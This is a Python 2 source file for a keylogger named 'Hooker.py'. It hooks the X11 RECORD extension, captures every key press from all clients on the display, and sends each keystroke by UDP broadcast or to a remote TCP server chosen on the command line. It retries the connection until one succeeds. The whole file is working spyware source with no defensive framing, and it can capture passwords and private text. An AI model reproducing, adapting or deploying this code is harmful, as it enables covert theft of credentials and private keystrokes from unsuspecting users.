'''
Created on Jan 30, 2011

@author: wildicv
'''
import socket
import sys
import os
from time import sleep
from Xlib import X, XK, display
from Xlib.ext import record
from Xlib.protocol import rq

__version__ = '0.2'

def lookup_keysym(keysym):
    for name in dir(XK):
        if name[:3] == "XK_" and getattr(XK, name) == keysym:
            return name[3:]
    return "[%d]" % keysym

def parseOutput(output):
    if len(output) == 1:
        return ord(output)
    else:
        return 0

def record_callback(reply):
    if reply.category != record.FromServer:
        return
    if reply.client_swapped:
        print "* received swapped protocol data, cowardly ignored"
        return
    if not len(reply.data) or ord(reply.data[0]) < 2:
        # not an event
        return

    data = reply.data
    while len(data):
        event, data = rq.EventField(None).parse_binary_value(data, record_dpy.display, None, None)

        if event.type in [X.KeyPress]:
            pr = event.type == X.KeyPress and "Press" or "Release"

            keysym = local_dpy.keycode_to_keysym(event.detail, 0)
            if not keysym:
                pass
                #print "KeyCode%s" % pr, event.detail
            else:
                #print "KeyStr%s" % pr, lookup_keysym(keysym)
                key = lookup_keysym(keysym)
                asciikey = parseOutput(key)
                
                if istcp == False:
                    broadcastKeyboardEvent(asciikey, key)
                    pass
                if istcp == True:
                    sendKeyboardEvent(asciikey, key)
                    pass
                
        elif event.type == X.ButtonPress:
            pass
            #print "ButtonPress", event.detail
        elif event.type == X.ButtonRelease:
            pass
            #print "ButtonRelease", event.detail
        elif event.type == X.MotionNotify:
            pass
            #print "MotionNotify", event.root_x, event.root_y
            
# -- [ functions ] -------------------------------------------------------------------------------- 
def help():
    ''' Prints a helpful message, not available in .exe form '''
    print 'Hotel Kilo: Hooker.py - v%s' % __version__
    print 'Usage:\n\thooker [mode] [options]'
    print 'Mode:'
    print '\t--broadcast.......................Use UDP broadcast'
    print '\t--remote-host [url/ip]............Use TCP/Server'
    print 'Options:'
    print '\t--port [number]...................Set port number'
    print '\t--help............................Display this message'

def createBroadcastSocket(port):
    ''' Creates a Udp broadcast socket returns the object '''
    udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    dest = '<broadcast>', port
    return udpSocket, dest

def createTcpSocket(url, port):
    ''' Creates a tcp socket using python's file interface '''
    while True:
        try:
            tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            tcpSocket.connect((url, port)) # Connect to the great server in the sky
            tcpFile = tcpSocket.makefile('rw', 0)
            sleep(2) # Wait for connection to establish
            return tcpFile
        except socket.error, cause:
            print 'Error: Unable to create tcp connection (%s)' % cause
            continue
        except socket.gaierror, cause:
            print 'Address Error: Unable to connection to remote host (%s)' % cause
            continue
        except:
            print '\nAn epic fail occurred while attempting to create the socket!'
            os._exit(1)
        finally:
            sleep(5) # If connection fails, sleep for 5 seconds and retry

def broadcastKeyboardEvent(ascii, keyname):
    ''' Sends the keystroke to the "udpSocket" object '''
    if int(ascii) != 0:
        udpSocket.sendto(str(int(ascii)), dest)
    else:
        udpSocket.sendto(str(keyname), dest)
    return True

def sendKeyboardEvent(ascii, keyname):
    ''' Sends the keystroke's ascii value to the remote server via tcp '''
    if int(ascii) != 0:
        tcpFile.write(str(int(ascii)))
    else:
        tcpFile.write(str(keyname))
    return True

# -- [ main ] -------------------------------------------------------------------------------------
if __name__ == '__main__':
    istcp = False;
    if '--help' in sys.argv:
        help()
        os._exit(0)
    if '--port' in sys.argv:
        try:
            port = int(sys.argv[sys.argv.index('--port') + 1])
        except:
            print '\nError: %s is not a valid port, try again\n' % sys.argv[sys.argv.index('--port') + 1]
            help()
            sys.exit()
    else:
        port = 2600 # Default port number
    if '--broadcast' in sys.argv:
        udpSocket, dest = createBroadcastSocket(port)
        #hooker.KeyDown = broadcastKeyboardEvent
        istcp = False;
    elif '--remote-host' in sys.argv:
        url = sys.argv[sys.argv.index('--remote-host') + 1]
        try:
            tcpFile = createTcpSocket(url, port)
            #hooker.KeyDown = sendKeyboardEvent
            istcp = True;
        except:
            pass
    else:
        print '\nPEBKAC: You need to select a transmission mode, see --help'
        os._exit(0)
    
    local_dpy = display.Display()
    record_dpy = display.Display()
    
    ctx = record_dpy.record_create_context(
        0,
        [record.AllClients],
        [{
                'core_requests': (0, 0),
                'core_replies': (0, 0),
                'ext_requests': (0, 0, 0, 0),
                'ext_replies': (0, 0, 0, 0),
                'delivered_events': (0, 0),
                'device_events': (X.KeyPress, X.MotionNotify),
                'errors': (0, 0),
                'client_started': False,
                'client_died': False,
        }])

    # Enable the context; this only returns after a call to record_disable_context,
    # while calling the callback function in the meantime
    record_dpy.record_enable_context(ctx, record_callback)
    # Finally free the context
    record_dpy.record_free_context(ctx)